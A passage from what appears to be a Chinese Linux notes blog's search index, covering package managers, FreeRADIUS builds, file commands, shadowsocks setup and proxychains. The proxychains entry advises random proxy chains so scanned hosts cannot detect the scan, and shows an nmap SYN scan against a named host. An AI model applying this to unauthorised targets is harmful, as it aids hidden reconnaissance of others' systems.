使用软件包管理系统将大大简化在Linux发行版中安装软件的过程。RPM,全称为RPM Package Manager,是由Red Hat推出的软件包管理系统,现在在各种发行版中普遍使用。dpkg是Debian Package的简写,由Debian发行版开发,用于安装、卸载和供给和deb软件包相关的信息。软件包管理系统:分成两组 一组使用RPM(Red Hat Package Manager),   而另一组使用dpkg包管理器.    我们选择两种基于RPM的发行版, CentOS和SUSE, 在企业中流行. 取代使用Debian作为一个基于dpkg的发行版,   我们选择Ubuntu因为他在初学者中广泛流行. 由于Ubuntu派生于Debian, 讨论Ubuntu的章节也适用于Debian不需要大的修改.预编译软件:缺点 不会安装最新的版本到你电脑. 也就是更新慢.从源码安装软件是configure, make, make install的同义词. 我们将使用发型吧的包管理器来从源码编译新的软件.从源码编译有时有需要来安装最新版本的软件或者包含一些预编译软件没有支持的模块. 这需要从源码编译软件. 大多数开源软件包是作为一个TAR压缩包发布的. TAR实际上可以指用于创建TAR文件的程序(名称是tape archive的简写)或者合成文件的文件格式. 一个TAR文件也通常是压缩的来减少体积. 文件名将会表示压缩的格式. 一个文件名以.tgz或者.tar.gz结尾使用gzip. 一个文件名以.tbz, .tb2, 或者.tar.bz2结尾使用bzip2压缩. 为了编译软件我们解压这个文件, 然后执行命令configure, make和make install在解压的文件夹内.然而有更好的方式利用发行版的包管理系统来编译软件. 不是所有的TAR文件帮助这个容易实现, 但是FreeRADIUS是这样一个成熟的项目, 允许在任意这3个发行版上从源码编译软件.编译包的优势下面是一些从源码编译包的优势• 容易安装, 升级, 卸载或发布软件.• 容易检查那个版本的软件是安装的.• 能够看到哪些文件被安装, 哪些发行版相关的修改.既然你已经确定用这种方式编译包, 我们将会为每个发行版来做他.从源码编译FreeRADIUS需要许多开发库. 标准的SLES仓库不需要全部包含他们他们, 甚至当使用的SDK DVD是SLES的一部分. 我们因此需要添加OpenSUSE仓库. 这将会满足所有的开发库需求.1   通过下面的URL定位离你最近的OpenSUSE镜像: http://mirrors.opensuse.org2   使用root用户开始YAST.3   选择Software | Software Repositories并且然后选择Add来添加到一个仓库.4   添加在开始时你选择的OpenSUSE镜像. 对于我的OpenSUSE11.3最近的URL是: ftp://opensuse.mirror.ac.za/opensuse/distribution/11.3/repo/oss/suse5   你可能要被接受GnuPG密钥的导入对于新的仓库. 选择Import来继续.这个设置编译FreeRADIUS RPM的阶段. 现在遵循下面的步骤:1   从官网下载最新的.tar.bz2格式的FreeRADIUS源码.2   SLES包括一个目录结构专门用于编译RPM. 位于/usr/src/packages. 拷贝原始的bz2源文件到SOURCES目录. 替换x和y为对应的版本. cp freeradius-server-2.x.y.tar.bz2 /usr/src/packages/SOURCES/.3   从TAR文件解压SUSE RPM .spec文件, 替换x,y为对应版本.# cd /usr/src/packages/SOURCES/4   # tar -xvjf freeradius-server-2.x.y.tar.bz2 freeradius-server-2.x.y/suse/freeradius.spec5  6   拷贝下面的文件到/usr/src/packages/SPECS目录:# cp freeradius-server-2.x.y/suse/freeradius.spec ../SPECS/7  8   编辑spec文件的下面的行, 修改%{fillup\_and\_insserv -s freeradius START\_RADIUSD}为%{fillup\_and\_insserv freeradius}.9   运行下面的命令来决定依赖. rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec10  这个将会列出必要的开发包来安装, 为了FreeRADIUS RPM被编译. 在你的系统上的列表可能不同. 下面是我的系统上的结果(用zypper安装他们)zypper in db-devel e2fsprogs-devel gcc-c++ gdbm-devel gettext-devel glibc-devel ncurses-devel openldap2-devel openssl-devel pam-devel postgresql-devel python-devel unixODBC-devel zlib-devel apache2-devel cyrus-sasl-devel krb5-devel libapr1-devel libmysqlclient-devel11  12  再次运行rpmbuild命令. 如果所有的依赖都满足, RPM的编译将会开始. 把结果tee到一个文件用于将来的调查.rpmbuild -ba /usr/src/packages/SPECS/freeradius.spec | tee /tmp/build\_out.txt13  14  当编译完成, RPM位于/usr/src/packages/RPMS/\/目录.15  使用下面命令安装新的FreeRADIUS包.# cd /usr/src/packages/RPMS/\/16  # zypper in freeradius-server-2.x.y-0.i586.rpm freeradius-server-libs-2.x.y-0.i586.rpm freeradius-server-utils-2.x.y-0.i586.rpm17  18  注意默认FreeRADIUS将会已用户radiusd运行. 这个用户是在安装FreeRADIUS过程中创建的. 给这个用户certs目录的权限. 否则会安装失败.chown -R radiusd. /etc/raddb/certs19  20  通过radiusd -X来确认radiused可以正确启动.21  Ctrl+C将会停止正在运行的FreeRADIUS. 你现在可以使用下面的启动脚本来启动FreeRADIUS/etc/init.d/freeradius start功能 : 免去手动编译安装  |系统|软件管理器||:---:|:---:||Mac| brew(手动安装)  ||CentOS | yum (自带) | |ubuntu | apt-get | |Debian ||# Mac brew## 使用方法   (以wget为例)|命令|作用||:---:|:---:|查找软件包              列出已安装的软件包         安装软件包                   删除软件包brew search wget         brew list          brew install wget      brew remove wget查看软件包信息           列出软件包的依赖关系brew info wget            brew deps wget 更新brew       列出过时的软件包                更新过时的软件包(全部或指定)brew update      brew outdated           brew upgrade    brew upgrade wgetCentos  yum源 [http://itgeeker.net/centos-7-epel-china-mirror-repository/][1]查找软件 yum search更新软件 yum update列出软件信息 yum list installed pppapt-cache search package 搜索包apt-cache show package 获取包的相关信息,如说明、大小、版本等sudo apt-get install package 安装包sudo apt-get install package - - reinstall 重新安装包sudo apt-get -f install 修复安装"-f = --fix-missing"sudo apt-get remove package 删除包sudo apt-get remove package - - purge 删除包,包括删除配置文件等sudo apt-get update 更新源sudo apt-get upgrade 更新已安装的包sudo apt-get dist-upgrade 升级系统sudo apt-get dselect-upgrade 使用 dselect 升级apt-cache depends package 了解使用依赖apt-cache rdepends package 是查看该包被哪些包依赖sudo apt-get build-dep package 安装相关的编译环境apt-get source package 下载该包的源代码sudo apt-get clean && sudo apt-get autoclean 清理无用的包sudo apt-get check 检查是否有损坏的依赖# Debian:默认自带 apt-get   sudo 运行  |            命令            |                    作用                    || :----------------------: | :--------------------------------------: ||           安装软件           |         apt-get install softname         ||           卸载软件           |         apt-get remove softname          ||           重装软件           |        apt-get —reinstall install        ||           搜索软件           |             apt-cache search             ||          更新已装软件          |              apt-get update              ||          修复安装软件          |       apt-get -f install softname        ||          删无用软件           |              apt-get clean               ||          了解使用依赖          |            apt-cache depends             ||         下载软件源代码          |              apt-get source              ||         列出软件包的内容         |        apt-file list packagename         ||           完整卸载           |      apt-get --purge remove 删除配置文件.      ||           彻底卸载           | apt-get autoremove --purge 删除依赖软件包+配置文件. ||                          |                                          ||                          |                                          ||     apt-get check #      |                检查是否有损坏的依赖                ||     dpkg -S filename     |            查找filename属于哪个软件包             || apt-file search filename |            查找filename属于哪个软件包             ||     apt-file update      |              更新apt-file的数据库              |## T软件安装方法:用软件包管理器: 直接安装. 的|||| :---: | :---: || ----- | ----- ||       |       |huo'z |      |      |      || ---- | ---- | ---- ||      |      |      ||      |      |      ||      |      |      |[1]:	http://itgeeker.net/centos-7-epel-china-mirror-repository/"
} ,
  
{
  "title"    : "文件权限",
  "category" : "",
  "tags"     : "文件权限",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E6%96%87%E4%BB%B6%E6%9D%83%E9%99%90.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "**ll 命令 显示文件权限 红色 **`-rwxrwxr--@  1 v  staff   2.3K Nov 14 07:39 favicon-32x32.png`**@ 是额外权限的意思….**`ls -@l favicon-32x32.png`用 -@l 命令 来查看详细信息.~~~-rwxrwxr--@ 1 v  staff  2379 Nov 14 07:39 favicon-32x32.png    com.apple.FinderInfo      32     com.apple.metadata:_kMDItemUserTags   53     com.apple.quarantine      57 ~~~{: .language-ruby}"
} ,
  
{
  "title"    : "文件操作",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 文件操作##### 查看文件: cat、more、head、tail等1. cat 显示出文本内容,	命令格式:cat filename(s)	> 当内容超出一屏时,只保留最后一屏幕,其他内容一闪而过。cat最常见的用法是配合重定向符来清空文件以及将几个文件合并成为一个文件。	cat /dev/null > doc.txt  	//清空文件doc.txt,/dev/null代表空设备文件(记住使用即可)	cat > doc2.txt  	//将doc1.txt中的内容保存在doc2.txt的尾部2. more命令来查看此类文件。	more命令的格式如下:more filenamemore命令将会以分页的方式显示文本文件内容。当每次将文件内容显示在屏幕上时,如果内容超出一屏,则会在屏幕的左下部显示“ --more--”,并且在其后面显示百分比表示已显示部分占总内容的比例。- 回车键 下一行,- 空格键 下一屏,-  b    上一屏,使用“/”加上字符串可以查找指定字符串的内容信息,找到后可以按“n”字母键继续搜索下一个符合要求的内容信息,按“q”字母键则可退出并返回Shell命令提示符状态。- head & tail 命令head与tail命令的格式如下: 1.  head [-n]() filename(s)  2.  tail [-n]() filename(s) head 显示一个或多个文件开头n行的内容  tail 显示一个或多个文件最后n行的内容  若没有指定参数n,则系统会默认显示10行内容。"
} ,
  
{
  "title"    : "换行回车区别",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E6%8D%A2%E8%A1%8C%E5%9B%9E%E8%BD%A6%E5%8C%BA%E5%88%AB.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "每行后面都有标识, 表示单行结束linux: 每行后面都有 /nwindows: 每行后面都有 /r /nmac: 每行后面都有 /r结果→ mac/liunx 的文件  windows  所有都是一行.windows 文件到 Mac/linux  每行可能会多个 ^M 符号 "
} ,
  
{
  "title"    : "指令语法",
  "category" : "",
  "tags"     : "Shell",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E6%8C%87%E4%BB%A4%E8%AF%AD%E6%B3%95.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "SYNOPSIS` builtin [-options] [args ...]`第一个 肯定是命令名称括号 不输入命令中.选项前 有- 号缩写名称 -h完整名称  - - help 指令 选项 中间都有空格. 不论几个空格都视为一个空格.回车键 执行命令.指令太长  用\来换行.区分大小写."
} ,
  
{
  "title"    : "开关机",
  "category" : "",
  "tags"     : "",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E5%BC%80%E5%85%B3%E6%9C%BA.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "Linux 是多人多任务系统 随时都有很多任务在进行. 正确的关机很重要. 不然会造成文件损坏. UPS 不间断电源 是有必要的."
} ,
  
{
  "title"    : "字符串的输出",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E8%BE%93%E5%87%BA.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "##### 作用: 字符串的输出.- 覆盖文件写入:	echo aaa \> a.txt	 - 增加写入 	echo aaa \>\> a.txt	 - 增加分行写入 	echo -e "xujian\nxujian0219@126.com" \>\> a.txt	 	echo 下面 ! 是特殊符号  要\! 才能输出 !号.- 多行文字输入: 	cat \>\> 文件 \> /root/a.txt <<EOF	123456789	bbbbbbbb	FFFFFFFFFFFFFFFFFFFFFFF	EOF	//作用: 在a.txt文件后面加上三行代码。 Cat 和EOFcat 文本输出命令,观看某个文件的内容;EOF是"end of file",表示文本结束符。结合这两个标识,即可避免使用多行echo命令的方式,并实现多行输出的结果。注意EOF只是标识,并不是固定不变的也可以用别的符号代替比如EEE等等。	Cat << EOF  ...EOF 最后一个EOF一定顶格写,还有相关命令一定要顶格写."
} ,
  
{
  "title"    : "删除顽固文件(加锁)",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/%E5%88%A0%E9%99%A4%E9%A1%BD%E5%9B%BA%E6%96%87%E4%BB%B6-%E5%8A%A0%E9%94%81.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "sudo rm -rf 拖入文件   确定"
} ,
  
{
  "title"    : "x",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/xx.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "区分大小写ls -l /     根目录文件改变文件属性与权限chmod 777 文件路径      自己 / 同组用户 / 其他用户 7=4+2+1      可执行    chgrp 改变文件所属群组  change grouo 缩写     被改的群组名 必须要在 /etc/group 文件里存在才行.chown 改变文件拥有者 change owner                             用户必须在 etc/passwd 文件里存在才行权限分数对照表格   r=4 w=2 x=1owner=rwx=7 group=rwx=7  others=—=0   这个文件的 权限就是770 chmod 770 text.txt-rw-rw-r—   644 u =ownerg=groupo=othersa=allchmod改变文件权限   chmod u=rw,go=r .vinric原先不知道文件属性 想要一个文件 所有用户可读  chmod a+w filename去掉所有用户x权限 chmod a-x filename+ - =   加权限 减权限 设定权限win 判断一个文件能否执行 是更具 扩展名来实现的  linux 是根据x权限来实现的  和扩展名完全无关 这很重要w 权限 能写入 但是不能删除文件.例题:  有个目彔的权限如下所示:  drwxr--r-- 3 root root 4096 Jun 25 08:35 .ssh  系统有个账号名称为 vbird,这个账号并没有支持 root 群组,请问 vbird 对这个目彔有何 权限?是否可切换到此目彔中?  答:  vbird 对此目彔仅具有 r 的权限,因此 vbird 可以查询此目彔下的文件名列表。因为 vbird 丌具有 x 的权限, 因此 vbird 并丌能切换到此目彔内!(相当重要的概念!)   date 星期时间echo $LANG   显示目前 终端输出的语言LANG=en_US  修改终端输出语言为英语zh_TW.UFT-8 台湾语言 zh_CN.UTF-8  汉语如果你注销 Linux 后,刚刚 下达的挃令就没有用啦   cal 日历    cal2015   bc 简单计算机  退出用 quit指令tab  指令第一个字后面 命令补全   第二个字后面 是档案补齐  ctrl c  中断当前程序.ctrl d  相当于 exittab 双击   显示所有可用的指令.  man  manual(操作说明的简写).man date   date的详细教程.空格键  翻页./word  向下搜寻关键词.  ?word 向上搜索关键字.n 下一个关键字   N 上一个 搜索出来的关键字q  离开man pageman man   更多man的介绍.  info 也是个好用的东西h 求助菜单 ?指令列表 q 结束对话    how to  也就是man  info 之外的 文件. 包含原理等等  netstat -a  网络状态后台程序  ps -auxwho   谁在线  可能有很多人连这个电脑的shutdown   关机是很重大的事情 ,有时要你输入root密码的哦图形界面 谁都可以关机  指令界面 就只有root 能关机了              reboot 重启  sync 数据同步写入硬盘 由于内存的存在 很多数据是暂时存在内存里   这时候断电的话 那些内容就没有了 所以要sync 同步内存和硬盘数据 把内存里的写入到硬盘.  绝对路径 absolute    根目录 / 开始写的文件相对路径relative       不是 / 根目录开始的文件相对路径是以『你当前所在路径的相对位置』来表示的。丼例来说,你目前在 /home 这个目彔下, 如果想要迚入 /var/log 这个目彔时,可以怂举写呢?1.	cd /var/log (absolute)   2.	cd ../var/log (relative)     因为你在 /home 底下,所以要回到上一层 (../) 乀后,才能继续往 /var 来移劢的! 特别注意这两个特 殊的目彔: 	  . :代表当前的目彔,也可以使用 ./ 来表示;   	  .. :代表上一层目彔,也可以 ../ 来代表。   这个 .  .. 目彔概念是徆重要的,你常常会看到 cd ..  ./command 乀类的挃令下达方式,   cat 读取文本文件zcat 读取被压缩的文本文件                                                  "
} ,
  
{
  "title"    : "where is",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/where-is.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## where iswhereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。 但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新。 1.命令格式:whereis [-bmsu]() [BMS 目录名 -f ]() 文件名2.命令功能:whereis命令是定位可执行文件、源代码文件、帮助文件在文件系统中的位置。这些文件的属性应属于原始代码,二进制文件,或是帮助文件。whereis 程序还具有搜索源代码、指定备用搜索路径和搜索不寻常项的能力。3.命令参数:-b   定位可执行文件。-m   定位帮助文件。-s   定位源代码文件。-u   搜索默认路径下除可执行文件、源代码文件、帮助文件以外的其它文件。-B   指定搜索可执行文件的路径。-M   指定搜索帮助文件的路径。-S   指定搜索源代码文件的路径。4.使用实例:实例1:将和\*\*文件相关的文件都查找出来命令:whereis svn 只将二进制文件 查找出来 命令:whereis -b svn whereis -m svn 查出说明文档路径,whereis -s svn 找source源文件。       "
} ,
  
{
  "title"    : "shadowsocks",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/shadowsocks.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## shadowsocksUbuntu:python  version    查看版本. 然后安装 PIP 环境apt–get install python–gevent python–pip安装  shadowsockspip install shadowsocks接下来配置也比较简单,新建一个 config.json,或者其他名字的都行,位置可以放在/etc/shadowsocks/下默认没有这个文件,你要自己创建一个),或者home或者其他任何地方。{“server”:“198.74.49.76”,  “server_port”:8388,  “local_port”:1080,  “password”:“password”,  “timeout”:600,  “method”:“aes-256-cfb”  }关于nohup,是可以让程序在后台运行的命令。同时可以用命令行参数覆盖 /etc/shadowsocks.json 里的设置:sslocal -s 服务器地址 -p 服务器端口 -l 本地端端口 -k 密码 -m 加密方法ssserver -p 服务器端口 -k 密码 -m 加密方法备注:sslocal是客户端程序;ssserver是服务端程序。5 防火墙设置(如有)编辑防火墙配置文件/etc/sysconfig/iptables,将服务器端口(server_port)放行。新增一条防火墙规则:-A INPUT -m state --state NEW -m tcp -p tcp --dport 8989 -j ACCEPT重启防火墙iptables:service iptables restart至此,服务器端的 Shadowsocks 安装和配置完毕。在ubuntu下安装shadowsocks1. sudo apt-get update2. sudo python --version3. apt-get install python-gevent python-pip4. pip install shadowsocks5. 找到shadowsocks文件夹的命令: sudo find / -name shadows* "/"是根目录下, *是通配符进入ss文件夹 新建文件 并修改6. 修改config.js{"server":"127.0.0.1","server_port":8388,"local_port":10808,"password”:”0219“,"timeout":600,"method":null}7. 后台长期启动shadowsocktsnohup ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json \> log &查看后台启动任务: jobs关掉 fg %n 8. 开机自动启动:cd /etc/sudo vim rc.local加上一行:/usr/local/bin/ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json  启动SS客户端前两步很简单,可是有人就纳闷了安装好了不知道怎么用,其实可以用sslocal -help来查看帮助就知道了。sslocal -s server_ip -p server_port  -l 1080 -k password -t 600 -m aes-256-cfb-s表示服务IP, -pt指的是服务端的端口,-l是本地端口默认是1080, -k 是密码(要加""), -t超时默认300,-m是加密方法默认aes-256-cfb,可以简单的写为:sslocal -s ip  -p  port -k "password"    #用-s -p -k这三个参数就好,其他的默认将服务端的加密方法设为aes-256-cfb。然后就可以启动代理。"
} ,
  
{
  "title"    : "rpm,apt,yum,brew",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/rpm,apt,yum,brew.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## 软件包管理器 - 软件安装> 免去手动编译安装**Mac: brew   centos: yum   ubuntu: apt-get ****      系统	    代表    软件管理机制         命令   *Red Hat / Fedora   RPM     rpm, rpmbuild    YUM (yum)**Debian  / Ubuntu   DPKG    dpkg             APT (apt-get)## brew> Manual:  wget for example*查找软件   brew search wget  *            *已装软件   brew list         **安装软件   brew install wget *     *删除软件   brew remove wget  *  更新brew       brew update     更新所有软件   brew upgrade  更新指定软件   brew upgrade wget 软件包信息     brew info wget   列出过时软件   brew outdated      软件包依赖关系 brew deps wget   "
} ,
  
{
  "title"    : "readme",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/readme.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## readme| Hardware (硬件) |        Detail         || :-----------: | :-------------------: ||      OS       | OS X EI Capitan 10.11 ||   Computer    |        RMBP13”        ||   Keyboard    |       HHKB Pro2       ||     Mouse     |     IBM Bluetooth     |### Self-use Softwares :|    类型    |  Name   || :------: | :-----: ||   打字练字   | Type fu || Markdown | Typora  ||   文本编辑   | Macvim  ||          |         ||          |         ||          |         ||          |         ||          |         ||          |         |## Linux 入门指南​ 必须亲自电脑练习.不能只读书.  ​ 尽量用shell,自己写shell script.  ​ 错误解决办法: 先看 shell 的错误提示  → 再看 log 日志文件. → 查询谷歌. ## 必须习惯:- 发现问题- 记录错误信息 及 解决办法- 定期整理## 学习:关键是会得『偷』, 偷了会得 改,改了会得发,发则通矣。## 必会基础技能- vi 文本编辑器- shell- 简单基础命令.## 手册中心"
} ,
  
{
  "title"    : "proxy chains",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/proxy-chains.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## proxy chains   linux 全局代理kali   全局代理:proxychains + tor 前者 系统自带.  设置下就可以.vi /etc/proxychains.conf前面三个选项是 dynamic_chain & strict_chain  & random_chain。三选一!!!1. dynamic_chain:proxychains会严格按照代理列表中提供的代理遍历下去,直到找到一个可用的,然后就使用它。2. strict_chain: 默认开启这个的.: 代理列表中的所有代理都是可用的时候,才能使用代理。3. random_chain :proxychain会在代理列表中随机选择一个可用的代理并使用它。跟在后面的是chain_len选项,这个选项只对random_chain有效,它指定了在这个模式下代理链的长度。一般来说我们的选项应该是第一个,如果使用了默认的第二个选项,会使得当你提供的代理列表中的某一个代理无法使用时,就无法使用其它的代理。第三个选项推荐在扫描的时候使用,这时提供一个很长的代理列表,被扫描的主机就无法检测出你的扫描行为了。---- --安静模式(quiet_mode):这个模式开启后,你就不会在命令行看见那些烦人的连接信息了。不过如果你发现你连不上代理,那些信息很可能会帮到你。proxy_dns:这个选项用来指定是否通过代理服务器转发DNS请求,如果你不开启它,那么你的行踪很可能被你的DNS提供者记录下来,有时候VPN连接也会泄露你的行踪,就是因为你的VPN程序忘了通过代理转发DNS请求。下面两个是一些超时选项,如果你的代理延迟很高,搞过了默认的这俩值,那就把这两个值调高一点吧。跟在[ProxyList]()后面的就是代理列表了,这个列表的格式是这样的:【代理类型】 【代理IP】 【端口】 【用户名】 【密码】比如说我的shadowsocks的本地服务泡在127.0.0.1:10801,那我就这么写socks5 127.0.0.1 10801用户名和密码是可选的,如果代理没有加密,那就不用管这两个东西。在需要使用代理的时候,只要在你的命令前加上proxychains就行了,比如说你想通过代理扫描这个博客的主机,那就这样做:proxychains nmap –sS –Pn blog.guetsec.orgKali ftp 传输连接 服务器:ftp 172.19.16.16输入账号密码  boss + ***** 就进去了 查看 ftp 命令 :   ?http://blog.csdn.net/tianlesoftware/article/details/5818990.deb 安装:cd 到目录  直接. dpkg -i+ 软件包名字.http://www.evil0x.com/posts/11627.html"
} ,
  
{
  "title"    : "locate",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/locate.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## locatelocate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。1.命令格式:Locate [选择参数]() [样式]()2.命令功能:locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab)locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如“*” 或“?”等)来指定范本样式,如指定范本为kcpa*ner, locate会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa\_ner则会列出该目录下包括 子目录在内的所有档案。locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。3.命令参数:-e   将排除在寻找的范围之外。-1  如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。-f   将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。-q  安静模式,不会显示任何错误讯息。-n 至多显示 n个输出。-r 使用正规运算式 做寻找的条件。-o 指定资料库存的名称。-d 指定资料库的路径-h 显示辅助讯息-V 显示程式的版本讯息4.使用实例:实例1:查找和pwd相关的所有文件命令:locate pwd 搜索etc目录下所有以sh开头的文件 命令:locate /etc/sh 搜索etc目录下,所有以m开头的文件命令:locate /etc/m    "
} ,
  
{
  "title"    : "inode",
  "category" : "",
  "tags"     : "Common",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/inode.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## inode记录文件属性 以及 文件实际数据放在硬盘的哪几个 block 内该档案的存取模式(read/write/excute);  该档案的所属群组(owner/group);  该档案的容量;  该档案建立或者状态改变时间(ctime); 最近一次的读取时间(atime); 最近修改时间(mtime); 定义文件特性的旗标(flag),如 SetUID...; 该档案真正内容的指向 (pointer);  inode 的数量与大小也是在格式化时就已经固定了 每个 inode 大小均固定为 128 bytes; 每个档案都仅会占用一个 inode 而已; 文件系统能够建立的档案数量与 inode 的数量有关; 系统读取文件时 → 先找到 inode → 分析 inode 所记录的权限 与用户是否符合,符合才能  够开始实际读取 block 的内容。   "
} ,
  
{
  "title"    : "find-xargs",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/find-xargs.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## find-xargs在使用 find命令的-exec选项处理匹配到的文件时, find命令将所有匹配到的文件一起传递给exec执行。但有些系统对能够传递给exec的命令长度有限制,这样在find命令运行几分钟之后,就会出现溢出错误。错误信息通常是“参数列太长”或“参数列溢出”。这就是xargs命令的用处所在,特别是与find命令一起使用。  find命令把匹配到的文件传递给xargs命令,而xargs命令每次只获取一部分文件而不是全部,不像-exec选项那样。这样它可以先处理最先获取的一部分文件,然后是下一批,并如此继续下去。  在有些系统中,使用-exec选项会为处理每一个匹配到的文件而发起一个相应的进程,并非将匹配到的文件全部作为参数一次执行;这样在有些情况下就会出现进程过多,系统性能下降的问题,因而效率不高; 而使用xargs命令则只有一个进程。另外,在使用xargs命令时,究竟是一次获取所有的参数,还是分批取得参数,以及每一次获取参数的数目都会根据该命令的选项及系统内核中相应的可调参数来确定。使用实例:实例1: 查找系统中的每一个普通文件,然后使用xargs命令来测试它们分别属于哪类文件 命令:find . -type f -print | xargs file 在整个系统中查找内存信息转储文件(core dump) ,然后把结果保存到/tmp/core.log 文件中命令: find / -name “core” -print | xargs echo “” \>/tmp/core.log 在当前目录下查找所有用户具有读、写和执行权限的文件,并收回相应的写权限命令:find . -perm -7 -print | xargs chmod o-w用grep命令在所有的普通文件中搜索hostname这个词命令:find . -type f -print | xargs grep “hostname” 用grep命令在当前目录下的所有普通文件中搜索hostnames这个词命令:find . -name \* -type f -print | xargs grep “hostnames” 使用xargs执行mv 命令:find . -name “\*.log” | xargs -i mv {} test4 find后执行xargs提示xargs: argument line too long解决方法:命令:find . -type f -atime +0 -print0 | xargs -0 -l1 -t rm -f xargs的-p参数的使用 命令:find . -name “\*.log” | xargs -p -i mv {} ..输出:           "
} ,
  
{
  "title"    : "find-exec",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/find-exec.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## find-execfind是我们很常用的一个Linux命令,但是我们一般查找出来的并不仅仅是看看而已,还会有进一步的操作,这个时候exec的作用就显现出来了。 exec解释:-exec  参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。{}   花括号代表前面find查找出来的文件名。使用find时,只要把想要的操作写在一个文件里,就可以用exec来配合find查找,很方便的。在有些操作系统中只允许-exec选项执行诸如l s或ls -l这样的命令。大多数用户使用这一选项是为了查找旧文件并删除它们。建议在真正执行rm命令删除文件之前,最好先用ls命令看一下,确认它们是所要删除的文件。 exec选项后面跟随着所要执行的命令或脚本,然后是一对儿{ },一个空格和一个\,最后是一个分号。为了使用exec选项,必须要同时使用print选项。如果验证一下find命令,会发现该命令只输出从当前路径起的相对路径及文件名。实例1:ls -l命令放在find命令的-exec选项中 命令:find . -type f -exec ls -l {} \;在目录中查找更改时间在n日以前的文件并删除它们命令:find . -type f -mtime +14 -exec rm {} \;  在目录中查找更改时间在n日以前的文件并删除它们,在删除之前先给出提示命令:find . -name “\*.log” -mtime +5 -ok rm {} \; -exec中使用grep命令命令:find /etc -name “passwd\*” -exec grep “root” {} \; 查找文件移动到指定目录  命令:find . -name “\*.log” -exec mv {} .. \; 用exec选项执行cp命令  命令:find . -name “\*.log” -exec cp {} test3 \;       "
} ,
  
{
  "title"    : "find 概览",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/find-%E6%A6%82%E8%A7%88.html",
  "date"     : "2014-11-11 00:00:00 +0800",
